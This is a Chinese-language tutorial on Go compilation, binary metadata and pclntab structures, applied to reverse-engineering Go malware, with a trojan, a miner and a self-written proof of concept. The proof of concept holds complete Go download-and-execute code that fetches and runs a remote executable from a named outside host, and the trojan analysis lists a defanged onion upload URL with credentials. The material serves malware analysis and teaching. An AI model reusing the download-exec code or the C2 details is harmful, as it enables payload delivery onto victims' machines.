本文主要整理、记录了笔者在Golang的学习、使用过程中碰到的一些有意思的方面,内容包括但不限于编译生成、程序的元数据、代码函数、汇编、堆栈、安全。
前言#
Golang于2007年诞生,旨在构建一种轻量级且令人愉悦的高效编译编程语言。它可扩展性高、并发强、语法简洁、可跨平台、还支持GC,有的人会因此喜欢上它。有的人也会因为生成的文件过大,且其生态系统和第三方库相对较小,缺少一些成熟的解决方案,不会去选择拥抱它。但“不管黑猫白猫,能捉老鼠的就是好猫”,只要能解决目标场景所遇到的问题,其存在就有一定的合理性和有趣点。
关于Golang的介绍可至 https://talks.golang.org/2012/splash.article 阅读。
Golang文件#
Golang源码的基本构成:go语言的代码通过包(package)组织,包类似于其他语言的库(libraries)或者模块(modules)。一个包由位于单个目录下的一个或多个.go源文件组成,目录定义包的作用。每个源文件都以一条package声明语句开始(如package main),指明这个文件属于哪个包。后面跟着它导入的其他包的列表,然后是存储在文件中的程序声明。
在符合Go代码逻辑和语法写Go代码时,可以使用go build命令生成可执行程序,然后运行、执行。初使用的感觉就是go文件的编译生成就是如此简单,确实从操作上来说很简单实用,但其实Go的编译过程不仅仅如此而已。Golang编译器将Go源码翻译成计算机可执行的机器代码会涉及几个阶段,包括词法分析、解析、语义分析、优化、代码生成。
- 词法分析(Lexical Analysis):将源码分解为标记。编译器识别关键字、标识符、字面值、注释、空白符等其它元素,并转换为标记。
- 注释和空白符号不会被处理
- 25个关键字
- 47个运算符
go/token包定义了FileSet和File对象,用于描述文件集和文件go/scanner包提供了Scanner来实现词法单元扫描,它在FileSet和File抽象文件集合的基础上进行词法分析
- 解析(Parse):编译器执行解析,分析代码的结构,从而创建解析树或抽象语法树(AST),显示各元素之间的关系
- Go语言中的AST由
go/ast包定义ast.BasicLit结构体表示一个基础字面值常量,直接构造了字面值ast.Ident结构体表示标识符类型parser.ParseExpr函数用于解析单个表达式,返回的ast.Expr是一个表达式抽象借口ast.BinaryExpr二元算术表达式
- Go语言中的AST由
- 语义分析(Semantic Analysis):编译器对AST执行语义分析,检查错误并确保代码遵守语言设定的规则,验证变量声明、类型、范围及其他语义方面内容
- 中间码(Intermediate Representation,简称IR):经过语义分析后,编译器生成中间码
- 静态单一赋值(Static Single Assignment,简称SSA):编译器对中间码进行各种优化,如常量折叠、循环优化、死代码消除,从而提高生成机器码的效率
- 机器码生成(Machine Code):优化的中间码被转换为机器码。编译器生成汇编代码或直接生成机器码,具体取决于目标体系结构
- 链接器(Linker):链接器将生成的机器代码组合成单个可执行文件
- 执行(Execution):在目标机器上按照Go源码的原始逻辑进行运行

文件大小#
下图中,比较了Linux amd64平台 下的C二进制程序和Go二进制程序的文件大小,C二进制文件大小远远小于Go编译生成的:

这是什么原因造成的呢?
原因一:此处C含动态节区,使用了动态链接库;Go使用的是静态编译,不含动态节区。

在
go build或go install命令加上-buildmode参数,可以实现动态链接
原因二:Go编译时,编译器将很多debug信息编译进去。

原因三:Go代码中引入了fmt包,间接引入了很多其他的包。

使用runtime打印函数的话,和C编译的二进制文件大小差距就很小:

此处也可以使用IDA比对前后两次样例,会发现数量函数有明显变化:

文件大小的章节详见 golang语言编译的二进制可执行文件为什么比 C 语言大 (https://www.cnxct.com/why-golang-elf-binary-file-is-large-than-c/),该文作者详细地分析了Go编写的二进制可执行文件大于C的原因。
元数据#
从Go1.18开始,在buildinfo的表中提供了附加元数据,其中涉及编译器、链接器标志、GOOS/GOARCH环境变量值、git信息、以及有关主包、依赖包的包名称信息。所以Golang二进制的元数据也很有意思,在分析场景中可能会涉及。
Build ID#
https://go.dev/src/cmd/go/internal/work/buildid.go 中描述了GO二进制程序带有hash值——Build ID,是构建二进制中产生的一个标识。可以将其作为Go二进制程序的一种特征。
可以使用Go的内置工具go tool buildid 、readelf、file 、strings 等方法查看:
go tool buildid hello_Go
readelf -n hello_Go
file hello_Go
strings -af hello_Go | grep -E "((\"?)([a-zA-Z0-9_-]{20})\/)(([a-zA-Z0-9_-]{20})\/([a-zA-Z0-9_-]){20}\/([a-zA-Z0-9_-]){20}(\"?)$)"

也可以使用YARA规则进行识别,YARA规则可见 https://github.com/SentineLabs/AlphaGolang :
rule TTP_GoBuildID
{
meta:
desc = "Quick rule to identify Golang binaries (PE,ELF,Macho)"
author = "JAG-S @ SentinelLabs"
version = "1.0"
last_modified = "10.06.2021"
strings:
$GoBuildId = /Go build ID: \"[a-zA-Z0-9\/_-]{40,120}\"/ ascii wide
condition:
(
(uint16(0) == 0x5a4d) or
(uint32(0)==0x464c457f) or
(uint32(0) == 0xfeedfacf) or
(uint32(0) == 0xcffaedfe) or
(uint32(0) == 0xfeedface) or
(uint32(0) == 0xcefaedfe)
)
and
#GoBuildId == 1
}

版本号#
不同Go版本,具有不同的特性,特别是在一些版本底层改变较大,编写、编译生成的二进制程序有一定的差异性。对于手动分析来说,知道Go二进制程序是用哪个Go版本编译是很重要的。一般来说,查看Go二进制程序是哪个Go版本,可使用以下两种方法:
go version [go binary]- 查看二进制程序的字符串可找到

但如果Go的二进制程序被处理过,可能就无法使用内置的工具go version查看,如加壳。
路径信息#
GOROOT 是 Go 语言编译、工具、标准库等的安装路径。一般地,在编译的的时候,都会把 GOROOT 打包进去,并用于runtime.GOROOT() 函数。为了优化编译时的二进制,可以在编译的时候,使用如下命令去除路径信息:
CGO_ENABLED=0 go build -v -a -ldflags '-s -w' -gcflags="all=-trimpath=${PWD}" -asmflags="all=-trimpath=${PWD}" -o ./main main.go
使用IDA可清晰看到去除路径信息的Golang二进制文件和未去除路径信息的二进制文件区别:

在不同的系统架构下,可根据实际需要生成去除路径等信息的Golan编译程序:
CGO_ENABLED=0 go build -v -a -ldflags '-s -w' -gcflags="all=-trimpath=${PWD}" -asmflags="all=-trimpath=${PWD}" -o ./main main.go
CGO_ENABLED=0 go build -v -mod=vendor -trimpath -a -ldflags '-s -w' -gcflags="all=-trimpath=${PWD}" -asmflags="all=-trimpath=${PWD}" -o test main.go
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -v -mod=vendor -trimpath -a -ldflags '-s -w' -gcflags="all=-trimpath=${PWD}" -asmflags="all=-trimpath=${PWD}" -o counter_linux_amd64 main.go
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -v -mod=vendor -trimpath -a -ldflags '-s -w' -gcflags="all=-trimpath=${PWD}" -asmflags="all=-trimpath=${PWD}" -o counter_darwin_amd64 main.go
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -v -mod=vendor -trimpath -a -ldflags '-s -w' -gcflags="all=-trimpath=${PWD}" -asmflags="all=-trimpath=${PWD}" -o adwarecounter_win_amd64.exe main.go
pcHeader结构体#
pcHeader结构体 是 pclntab 的头。
根据 https://docs.google.com/document/d/1lyPIbmsYbXnpNj57a261hgOYVpNRcgydurVQIyZOz_o/pub 描述可知,函数符号表、文件名表、函数结构体以及这些数据的偏移量引用的数据在内存中都是连续的,记录在pclntab( Program Counter Line Table,程序计数器行数映射表,也叫称为 Runtime Symbol Table) 上。该表将虚拟内存地址映射回最近的符号名称,用于生成带有函数和文件名的堆栈跟踪。所以在Golang程序的逆向工程中,pclntab对于恢复符号来说是很重要的一个切入点。
官方的代码库中src/runtime/symtab.go对pcHeader结构体的定义如下:

pcHeader结构体的中文注释如下:
// pcHeader 包含了 pclntab 查询所需的数据。
type pcHeader struct {
magic uint32 // 幻数,固定为 0xFFFFFFF0
pad1, pad2 uint8 // 填充字段,均为 0
minLC uint8 // 最小指令长度
ptrSize uint8 // 指针大小,以字节为单位
nfunc int // 模块中的函数数量
nfiles uint // 文件表中的条目数量
textStart uintptr // 该模块中函数入口 PC 偏移的基地址,等于 moduledata.text
funcnameOffset uintptr // 从 pcHeader 到 funcnametab 变量的偏移量
cuOffset uintptr // 从 pcHeader 到 cutab 变量的偏移量
filetabOffset uintptr // 从 pcHeader 到 filetab 变量的偏移量
pctabOffset uintptr // 从 pcHeader 到 pctab 变量的偏移量
pclnOffset uintptr // 从 pcHeader 到 pclntab 变量的偏移量
}
其中:
magic:pclntab的第一个字段是uint32的幻数值pad1, pad2:第二个字段是两个0x00填充值minLC:最小指令长度。在填充值后跟一个给出指令大小量程的字节值,1代表x86,4代表ARMptrSize:第四个字段是uintptr类型的指针大小。以字节为单位,32bit 的值为0x04,64 bit 的为0x08nfunc:模块中的函数数量
定位 pclntab 的方法:遍历查找magic值,从而确定pclntab的地址。然后遍历funcs表,得到func_struct,通过func_struct的name_offset字段获取函数名称,进而重命名函数。

使用IDA自带的解析功能,可以清楚看到pclntab 头的排列情况:

IDA7.6版本开始大大加强对Golang的解析度,此版本之前的需要借助第三方脚本或者手动解析的方法进行分析。
- https://github.com/goretk/gore/
- https://github.com/goretk/redress
- https://github.com/sibears/IDAGolangHelper
- https://www.pnfsoftware.com/blog/analyzing-golang-executables/
- https://github.com/strazzere/golang_loader_assist
- https://github.com/SentineLabs/AlphaGolang
幻数#
在 https://github.com/golang/go/blob/master/src/debug/gosym/pclntab.go 中可见,不同版本Go有不同的magic值。在go1.16之前magic number的值为0xfffffffb,到go1.16的时候变为0xfffffffa, go1.18变为0xfffffff0,go1.20变为0xfffffff1:
go12magic = 0xfffffffb
go116magic = 0xfffffffa
go118magic = 0xfffffff0
go120magic = 0xfffffff1
当然,幻数的改变会导致一些老旧的Golang工具不再具有解析的通用性。
样例分析1——分析POC程序#
运用上文所述的理论知识,针对实际的程序例子进行分析。
实验准备#
编写测试代码,新建工程目录为blackss,并创建project1目录,在project1目录下创建conference.go和 download_exec.go;在工程目录下,创建example1.go文件:
blackss
├── example1.go
├── go.mod
└── project1
├── conference.go
└── download_exec.go
1 directory, 4 files
example1.go的代码如下:
package main
import (
"fmt"
"net/http"
"test/project1"
)
func main() {
fmt.Printf("Running in main function!\n\n")
http.HandleFunc("/submit", project1.Conference)
http.ListenAndServe(":9999", nil)
}
conference.go的代码如下:
package project1
import (
"fmt"
"net/http"
)
func Conference(mywriter http.ResponseWriter, myreader *http.Request) {
fmt.Println("Running in Conference function!")
user := myreader.URL.Query().Get("user")
fmt.Fprintf(mywriter, "The requester is: %s\n", user)
fmt.Printf("The requester is: %s\n\n", user)
if user != "alexandre" {
Download_Exec("calc2.exe", "http://www.blackstormsecurity.com/conference/calc2.exe")
}
}
download_exec.go的代码如下:
package project1
import (
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"time"
)
func Download_Exec(filename string, website string) {
fmt.Println("Running in Download_Exec function!")
out, err := os.Create(filename)
if err != nil {
log.Panicln(err)
}
resp, err := http.Get(website)
if err != nil {
log.Panicln(err)
}
time.Sleep(10 * time.Second)
if err != nil {
log.Panicln(err)
}
io.Copy(out, resp.Body)
resp.Body.Close()
out.Close()
fmt.Println("Executing the payload!")
command := exec.Command(filename)
err = command.Run()
if err != nil {
log.Panicln(err)
}
}
go build example1.go命令编译程序,并查看编译后程序的版本信息和buildid:

在cmd中运行程序,在浏览器访问http://127.0.0.1:9999/submit?user=alexandre则正常打印字符串,在浏览器访问http://127.0.0.1:9999/submit?user=borges则会下载执行计算器程序,符合实验准备的预期:

定位函数#
使用IDA打开该二进制程序,在HEX窗口查看example.exe文件,显示了该程序的buildID,程序的开头以FF 20开始:

切换到IDA的汇编窗口查看:

此时使用快捷键A,更改数据类型为字符串:

当IDA标识错误时,可以使用
A\C\D\U进行手动标注修改:
A快捷键用于触发IDA Pro的自动分析功能。IDA Pro会尝试自动识别函数、变量、字符串等,并进行标记。这有助于在逆向工程过程中快速了解程序的结构和功能C快捷键用于将当前光标处的地址视图切换为代码视图。在IDA Pro中,可以查看不同的视图,比如反汇编视图、数据视图等。按下C键后,将切换到当前地址的反汇编代码视图,方便进行分析和编辑。D快捷键用于将当前光标处的地址视图切换为数据视图。数据视图显示了当前地址的数据内容,如字节、字、字符串等。按下D键后,将切换到当前地址的数据视图,有助于查看和分析数据。U捷键用于将当前函数或指定地址的未定义字节(Undefined Bytes)标记为代码。在逆向工程中,经常会遇到未定义的代码片段,IDA Pro无法识别这些未定义的字节,IDA Pro将尝试将未定义的字节解释为代码,有助于完善程序的分析和反汇编结果。
根据前文获得的go版本信息,可以在IDA里直接二进制搜索go1.17.2搜索到:

在IDA搜索Go1.17的magic幻数FFFFFFFA,Search->Sequence of bytes(快捷键Alt+B)搜索二进制字符串FFFFFFFA,可得到:

双击跳转到006FB2A0地址处:

同样的,在Ghidra上搜索。Linux上的老版本1.16编译出来的二进制程序是有gopclntab节区,但是Windows 上的Go1.17版本的编译出来的没有gopclntab节区:

在构建可执行 ELF 文件时,目前还是默认使用 -buildmode=exe,而从 2019 年 4 月底 Go 语言官方 Change Log 203606 开始,在 Windows 上构建可执行 PE 文件时,则会默认使用
-buildmode=pie, 是没有.gopclntab这个 Section 的,而是多了一些重定向相关的 Section
这时,可以在Ghidra也可以用memory(快捷键S)搜索FFFFFFFA,可以定位到该幻数:



计算buildid函数的地址,pcheader+offset为6FB2A0+40=6FB2E0:

函数表(func table)的起始地址为 (pclntab_addr + 8),第一个元素( uintptr N) 代表函数的个数。函数名称表的起始地址为(pclntab_addr+8),即 6FB2D8+8=6FB2E0:

在pcHeader中的pclntab地址处按快捷键D转换出pclntab的偏移值是0BD2A0h:

pcHeader + pclnOffset=Function Table指向pclntab,也就是Go用来描述函数信息的地方 , 计算地址6FB2A0+0BD2A0=7B8540:

使用IDA的快捷键G跳转到7B8540处,该结构由funcAddress + funcMetaAddress两部分组成。

pcHeader + pclnOffset + funcMetaAddress指向Go的_func结构,具体见symtab.go和文件的type pcHeader struct。
此src/debug/gosym/symtab.go已经没有
type _func struct可以在https://docs.google.com/document/d/1lyPIbmsYbXnpNj57a261hgOYVpNRcgydurVQIyZOz_o/pub 的文档中找到Go 1.2 运行时符号信息,并查看 https://sourcegraph.com/github.com/golang/go/-/blob/src/runtime/runtime2.go
type _func struct {
entryoff uint32 // start pc, as offset from moduledata.text/pcHeader.textStart
nameoff int32 // function name
args int32 // in/out args size
deferreturn uint32 // offset of start of a deferreturn call instruction from entry, if any.
pcsp uint32
pcfile uint32
pcln uint32
npcdata uint32
cuOffset uint32 // runtime.cutab offset of this function's CU
funcID funcID // set for certain special runtime functions
flag funcFlag
_ [1]byte // pad
nfuncdata uint8 // must be last, must end on a uint32-aligned boundary
}
Function Struct 在 Russ Cox 的《Go 1.2 Runtime Symbol Information》有介绍,这个函数元数据表存储这个函数名的偏移值,通过这个元数据表可以恢复函数名:
struct Func
{
uintptr entry; // start pc
int32 name; // name (offset to C string)
int32 args; // size of arguments passed to function
int32 frame; // size of function frame, including saved caller PC
int32 pcsp; // pcsp table (offset to pcvalue table)
int32 pcfile; // pcfile table (offset to pcvalue table)
int32 pcln; // pcln table (offset to pcvalue table)
int32 nfuncdata; // number of entries in funcdata list
int32 npcdata; // number of entries in pcdata list
};
描述函数信息的结构由funcAddress + funcMetaAddress两部分组成,则funcMetaAddress为12598,即是Func Name String Offset 为 0x12598

pcHeader + pclnOffset + funcMetaAddress指向Go的_func结构,即6FB2A0+0BD2A0+12598=7CAAD8,在7CAAD8处:

具体见symtab.go文件的type pcHeader struct。通过_func中的entry也就是funcAddress和nameOff就可以把函数地址和函数名结合起来

此时7CAAD8的偏移值为401000,该函数的入口点就是401000:

进入该函数内部:

GOROOT#
直接使用IDA快捷键Alt+T搜索runtime_defaultGoROOT得到C:\\Program Files\\Go:

垃圾回收#
在Golang程序中,垃圾回收器会被调用很多次:

本实验目的不在于gc分析,就不对浪费垃圾回收相关操作进行其它篇幅叙述:

主函数#
回顾main()函数的源码:
package main
import (
"fmt"
"net/http"
"test/project1"
)
func main() {
fmt.Printf("Running in main function!\n\n")
http.HandleFunc("/submit", project1.Conference)
http.ListenAndServe(":9999", nil)
}
图中主函数中的部分指令解释:
- 运行时函数在设置局部栈帧前,检查是否有足够的栈空间
- os包中的
os.File实现了io.Writer接口(rax),标准输出Stdout(rbx),并且定义为全局变量。此外,rcx保存字符串,edi包含字符串大小 - fmt包中的Printf()函数
- Go中的指令结构:
- 字符串内容(char*)
- 大小(qword)

按空格键切换反汇编窗口,得到汇编视图:

small allocations是直接通过mcache来分配的。对于tiny allocations的分配,有一个微型分配器tiny allocator来分配,分配的对象都是不包含指针的,例如一些小的字符串和不包含指针的独立的逃逸变量等。small allocations的分配,就是mcache根据对象的大小来找自身存在的大小相匹配mspan来分配。 当mcach没有可用空间时,会从mcentral的mspans列表获取一个新的所需大小规格的mspan。
是字符串(string)的运行时表现:
Data:存放指针,其指向具体的存储数据的内存区域。Len:字符串的长度
type StringHeader struct {
Data uintptr
Len int
}
Conference函数#
回顾Conference()函数的源码:
package project1
import (
"fmt"
"net/http"
)
func Conference(mywriter http.ResponseWriter, myreader *http.Request) {
fmt.Println("Running in Conference function!")
user := myreader.URL.Query().Get("user")
fmt.Fprintf(mywriter, "The requester is: %s\n", user)
fmt.Printf("The requester is: %s\n\n", user)
if user != "alexandre" {
Download_Exec("calc2.exe", "http://www.blackstormsecurity.com/conference/calc2.exe")
}
}
点击61F11A处的off_6A16D8跳转到,到达61EC00处:

按IDA的快捷键空格键得到Conference函数图形视图:

根据指令流,对指令做一些分析:

将当前指令/数据的立即操作数类型转换为十六进制数:快捷键:
Q

Go 语言中读取
map有两种语法:带comma和 不带comma。当要查询的key不在map里,带comma的用法会返回一个bool型变量提示key是否在map中;而不带comma的语句则会返回一个key类型的零值。如果key是int型就会返回0,如果key是string类型,就会返回空字符串。https://www.bookstack.cn/read/qcrao-Go-Questions/map-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%B8%A4%E7%A7%8D%20get%20%E6%93%8D%E4%BD%9C.md
接着分析剩下的代码流,该处主要功能是获取用户输入参数,并且校验参数的正确性:
fmt.Fprintf(mywriter, "The requester is: %s\n", user)
fmt.Printf("The requester is: %s\n\n", user)

在Go中,一个接口类型定义了一个方法集,接口会提供方法来指定对象的行为、类型,不过最终是由具体的对象来实现方法。这里就是使用string来实现类型转换:
func convTstring(val string) (x unsafe.Pointer) {
if val == "" {
x = unsafe.Pointer(&zeroVal[0])
} else {
x = mallocgc(unsafe.Sizeof(val), stringType, true)
*(*string)(x) = val
}
return
可参见https://golang.org/src/runtime/iface.go 和 https://juejin.cn/post/6844903965541285896
将当前指令/数据的立即操作数类型转换为字符,快捷键:
R; SSE (Streaming SIMD Extensions),该扩展加入了新的 xmm 寄存器集合:xmm0,xmm1,...,xmm15。这些寄存器为 128 位宽,常用于两种任务:
- 浮点数运算;以及
- SIMD 指令集(这种指令一条指令可以操作多条数据)
根据校验的结果进行操作,校验成功则下载所给地址的calc2.exe:

download_exec函数#
回顾download_exec()函数的源码:
package project1
import (
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"time"
)
func Download_Exec(filename string, website string) {
fmt.Println("Running in Download_Exec function!")
out, err := os.Create(filename)
if err != nil {
log.Panicln(err)
}
resp, err := http.Get(website)
if err != nil {
log.Panicln(err)
}
time.Sleep(10 * time.Second)
if err != nil {
log.Panicln(err)
}
io.Copy(out, resp.Body)
resp.Body.Close()
out.Close()
fmt.Println("Executing the payload!")
command := exec.Command(filename)
err = command.Run()
if err != nil {
log.Panicln(err)
}
}
从Conference函数中的call blackss_project1_Download_Exec指令进入download_exec函数。

主函数中的Create()函数实际上是使用OpenFile()函数实现的,可在Go源码的os.File (https://go.dev/src/os/file.go) 包中查看到:
func Create(name string) (*File, error) {
return OpenFile(name, O_RDWR|O_CREATE|O_TRUNC, 0666)
}

此时rbx拥有err变量,使用test指令判定是文件是否创建成功:
out, err := os.Create(filename)
if err != nil {
log.Panicln(err)
}
接下来的程序流,是处理HTTP请求和响应:
resp, err := http.Get(website)
if err != nil {
log.Panicln(err)
}
time.Sleep(10 * time.Second)
if err != nil {
log.Panicln(err)
}
io.Copy(out, resp.Body)
resp.Body.Close()
out.Close()

接下来程序流,就是运行下载下来的文件:
fmt.Println("Executing the payload!")
command := exec.Command(filename)
err = command.Run()
if err != nil {
log.Panicln(err)
}

至此,运用上文所描述的理论知识,大致将所准备的go源码编译的程序进行了静态分析。
样例分析2——静态分析Trojan#
运用上文所述的理论知识,针对实际的程序例子进行分析。使用的 样本文件SHA256 hash: 4961954c47ef2395dd73b8cc4bb36827f71e08a13f9ec4cc1daba51715334fc9
使用 https://github.com/SentineLabs/AlphaGolang 中的YARA脚本识别Golang二进制的BuildID(yara -s 0.identify_go_binaries.yara 4961954c47ef2395dd73b8cc4bb36827f71e08a13f9ec4cc1daba51715334fc9.exe):

rule TTP_GoBuildID
{
meta:
desc = "Quick rule to identify Golang binaries (PE,ELF,Macho)"
author = "JAG-S @ SentinelLabs"
version = "1.0"
last_modified = "10.06.2021"
strings:
$GoBuildId = /Go build ID: \"[a-zA-Z0-9\/_-]{40,120}\"/ ascii wide
condition:
(
(uint16(0) == 0x5a4d) or
(uint32(0)==0x464c457f) or
(uint32(0) == 0xfeedfacf) or
(uint32(0) == 0xcffaedfe) or
(uint32(0) == 0xfeedface) or
(uint32(0) == 0xcefaedfe)
)
and
#GoBuildId == 1
}
使用Cutter查看目标文件的文件信息:

使用IDA分析样本,进入main_main 函数:

在 Go 语言中,ArbitraryUserPointer 通常用于与 C 语言交互,如使用 cgo 时,允许将任意类型的指针(例如 C 语言中的 void*)传递给 Go 函数。
选中main_main函数,点击View -> Open subviews -> Function calls :

显示所有的函数调用:

在main.main函数中,使用UserHomeDir() 函数返回当前用户的主目录,在Windows系统中是使用%USERPROFILE%获取当前用户目录;path.filepath.Join函数将路径元素连接成一个单一的路径,在Windows上返回一个UNC路径;os.MkdirAll()创建一个命名路径和所有必要的父目录(类似于Linux/Unix上的mkdir -p)

通常使用下图类似的代码结构创建字符串:

然后使用快捷键Alt+Q 和T 对一个结构体偏移量进行更改应用。(Alt + Q 将某一组数据定义为某结构体)
虽然该样例主要是说明静态分析,但是可以拓展一下,重命名的函数可以使用以下插件转移到x64dbg中:
Golang可以使用关键字go 创建goroutine,goroutine消耗很少的堆栈空间,并根据需要分配堆空间,其会在同一地址空间内与其他goroutines并发执行。
// src/runtime/proc.go
// 创建一个新的 g,运行 fn 函数,需要 siz byte 的参数
// 将其放至 G 队列等待运行
// 编译器会将 go 关键字的语句转化成此函数
//go:nosplit
func newproc(siz int32, fn *funcval)
启动了一个 goroutine 的时候,一定要知道,在 Go 编译器的作用下,这条语句最终会转化成 newproc 函数。
因此,newproc 函数需要两个参数:一个是新创建的 goroutine 需要执行的任务,也就是 fn,它代表一个函数 func;还有一个是 fn 的参数大小。
runtime.main函数没有参数,所以其构造 newproc 函数调用栈的时候,第一个参数是 0

点击00000000006D7645 地址进入 main_lockRun 函数:

点击00000000006D764A 进入 main.getClientDetails 函数:

点击00000000006D65301地址处的os_user_Current 进入os_user_Current 函数:

runtime.typedmemmove将发送的数据拷贝到缓冲区,类似于C中的memcpy()
sync包有一个Once结构体和对象,它保存一个类型互斥锁字段(m),
doSlow(f func())函数对m使用Lock(),并保证它返回时,已经完成。简而言之,doSlow实现了同步,如果传入的函数没有执行过,会调用sync.Once.doSlow执行传入的函数
在os.user.Current() 函数中的00000000006D5901 可以看到恶意程序的一些系统函数调用:
- 使用
syscall_OpenCurrentProcessToken打开与当前进程关联的访问令牌 - 使用
syscall_Token_getInfo从访问令牌中获取信息:func (t Token) getInfo(class uint32, initSize int)- 使用
GetTokenInformation( )实现 GetTokenInformation(t Token, infoClass uint32, info *byte, infoLen uint32,returnedLen *uint32) (err error) = advapi32.GetTokenInformation

在os.user.Current函数 00000000006D59BC 地址处的函数调用情况:
syscall___ptr_SID__String:syscall包的String可以使用ConvertSidToStringSid( )函数将sid转换为字符串syscall_Token_GetUserProfileDirectory:这个函数通过给定的口令检索userprofile目录路径(返回指定用户的userprofile路径)os_user_lookupUsernameAndDomain:检索给定SID的用户名和域

在main_getClientDetails 的00000000006D653F 地址处调用了os.hostname ,进入os.hostname 函数:

make函数初始化有三个参数,第一个是类型,第二个长度,第三个容量,容量要大于等于长度。slice的make初始化调用的是底层的runtime.makeslice函数。
切片是一种动态大小的数组(无固定的长度),其典型的符号就是[]T,T指定元素的类型:
func makeslice(et *_type, len, cap int) unsafe.Pointer {...}
syscall.GetComputerName 函数可以检索与本地计算机关联的NetBIOS或DNS名:
GetComputerNameEx(nameformat uint32, buf *uint16, n *uint32) (err error) = GetComputerNameExW
在main_getClientDetails 的00000000006D6557 地址处调用了main.getIP ,进入main.getIP函数:

不幸的是,在Golang的早期版本中查找字符串并不容易(它们被分组了)。然而,花些时间还是可以梳理出……为了确定字符串在哪里结束,我使用了以下几行
mov [rsp+60h+var_58], rax
mov [rsp+60h+var_50], 21h ; '!'
继续跟随main.getIP代码流到00000000006D63D9:

Go中的接口类型在某些方面类似于其他语言,定义了一些需要实现的方法。其他数据类型持有相同签名方法,将会被视为与该接口的相同类型。方法签名由方法名、方法参数、返回值三部分组成。
ReadAll对 r 进行读取, 直到发生错误或者遇到 EOF 为止, 然后返回被读取的数据。 一次成功的读取将返回 nil 而不是 EOF 作为 err 的值: 这是因为 ReadAll 的定义就是要读取 r 直到遇到 EOF 为止, 所以它不会把读取到的 EOF 当做错误, 也不会向调用者返回它:
func ReadAll(r io.Reader) ([]byte, error)
双击IDA的函数栏中的main_getClientDetails,进入00000000006D7A90 地址处:

- 文件从互联网下载
downloadFile()是通过net.http.Get()函数:func Get(url string) (resp *Response, err error)- Get()方法是通过
func NewRequestWithContext(ctx context.Context, method, url string, body io.Reader) - 通过显示的字符串可知该程序通过
cmd /c start <downloaded file>实现文件下载 - Command函数为
func Command(name string, arg ...string) *Cmd,返回一个Cmd结构体,使用os.exec.Cmd.Run()执行目标程序的参数
从main函数进入main.handleFileUploadURL() 函数,定位到该程序:使用post方法传输json文件到hxxps://gi74qcmwmxoq4xun[.]onion[.]ws/fujson ,使用的登录口令为 用户名: uwangle密码为vzigzag。

双击IDA的函数栏中的main_handleScreenshot,进入00000000006D65F0 地址处。经分析,得出该程序使用第三方扩展包(https://github.com/kbinani/screenshot )进行桌面程序截图:

样例分析3——动态分析Miner#
运用上文所述的理论知识,针对实际的程序例子进行分析。选用样例的文件SHA-256 Hash为73dec430b98ade79485f76d405c7a9b325df7492b4f97985499a46701553e34a
使用rabin2命令查看样本是否有壳:

环境中如果没有rabin2命令,可以安装radare2,如
sudo apt-get install radare2
查看恶意样本的基本信息:
rabin2 -I 73dec430b98ade79485f76d405c7a9b325df7492b4f97985499a46701553e34a

通过下列命令列出恶意程序调用的函数:
chmod a+x <ELF_FILE>
r2 -d <ELF_FILE> #调试文件或进程
aaa #自动分析
afl | grep 'main' (for listing functions in radare2)
该恶意程序是通过AES加密,且在内存中解密运行:

使用strace 命令捕捉和记录恶意程序的系统调用和被进程接收的信号:
strace -s 2048 ./73dec430b98ade79485f76d405c7a9b325df7492b4f97985499a46701553e34a

运行目标程序,并在执行过程中,只跟踪文件描述符为 3 的 write 系统调用,并将输出详细写入到 test.txt 文件中。可以看到目标程序写入5957056字节的数据,从已有的标志上看似乎写入的是ELF文件:
strace -e write=3 -o test.txt ./73dec430b98ade79485f76d405c7a9b325df74

接下来,使用gdb调试恶意样本程序:
gdb ./73dec430b98ade79485f76d405c7a9b325df7492b4f97985499a46701553e34a
(gdb) info functions
查看恶意样本的函数情况:

使用b main.main 设置断点,并使用r运行该程序:

使用b main.runFromMemory 对r2查到的函数main.runFromMemory 进行下断点,并设置调试子进程set follow-fork-mode child:

用
set follow-fork-mode child的目的是告诉 gdb 在目标应用调用fork之后接着调试子进程而不是父进程,因为在 Linux 中fork系统调用成功会返回两次,一次在父进程,一次在子进程。
使用b syscall.write 对系统调用写入函数进行下断点:
b syscall.write

键入c 十余次之后,执行到main.runFromMemory 函数,可以发现恶意程序将要把挖矿程序写入到内存中:

此时使用p p 打印值和内存地址,然后根据文件在内存中的地址和文件长度进行dump,把内存中的文件dump出来:
p p #打印变量
dump binary memory <path> <array> (array+len)

导出的elf文件SHA1值为6feda48d24a9a6c4d00d24fdbac41def7a237caa,威胁情报已将其标记为矿工:

汇编#
GO汇编语言不是一门独立的语言,Go编译器输出的汇编代码不对应某种真实的硬件架构,Go汇编器会使用这种伪汇编代码为目标硬件生成具体的机器指令。
Go的汇编是基于Plan9汇编逐渐发展演化,而Plan9汇编是不同于 X86 和 AT&T,它是源自贝尔实验室的分布式操作系统Plan9(Plan9汇编可参阅 A Manual for the Plan 9 assembler)。Go汇编代码其中一些特点:
- 在 plan9 汇编中,常数用 $num 表示,可以为负数,默认情况下为十进制
- 操作数顺序不同,和
X86的相反,和AT&T类似 - 操作数大小表示法不同,数据传递的长度是由
MOV的后缀决定的, 如MOVQ $0x10, AX - Go的汇编中,为简化汇编代码编写,引入了4个寄存器,分别是
PC、FP、SP、SB伪寄存器。PC寄存器(Program Counter):实为IP(Instruction Pointer)的别名,指令指针寄存器FP寄存器(Frame Pointer):栈帧指针寄存器,快速访问函数的参数和返回值SP寄存器(Stack Pointer):栈指针寄存器,指向栈顶SB寄存器(Static base pointer):静态基址指针寄存器,一般用在声明函数、全局变量中
打印汇编代码#
对于Go语言,生成汇编代码的常用命令有以下几种:
go tool compile -S test.go > test.s #重定向输出
go tool compile -S -N test.go # -N禁止优化
gccgo -S -O0 -masm=intel test.go #生成empty.s文件,-O0/1/2/3指定优化
go build -gcflags "-N -l" test.go #生成可执行程序
go tool objdump executable # 使用内置工具打印可执行程序的汇编代码
objdump -d executable > disassembly #对于x86/amd64架构的汇编
go build -gcflags="-N -l -S" test.go #直接输出汇编
上述中的go tool compile命令用于将Go源文件汇编化,常使用的命令参数:
-N:禁止优化-l:禁止内联-S:打印出汇编代码-m:打印变量内存逃逸信息
go tool compile -N -l -S main.go #打印main.go文件对应汇编代码
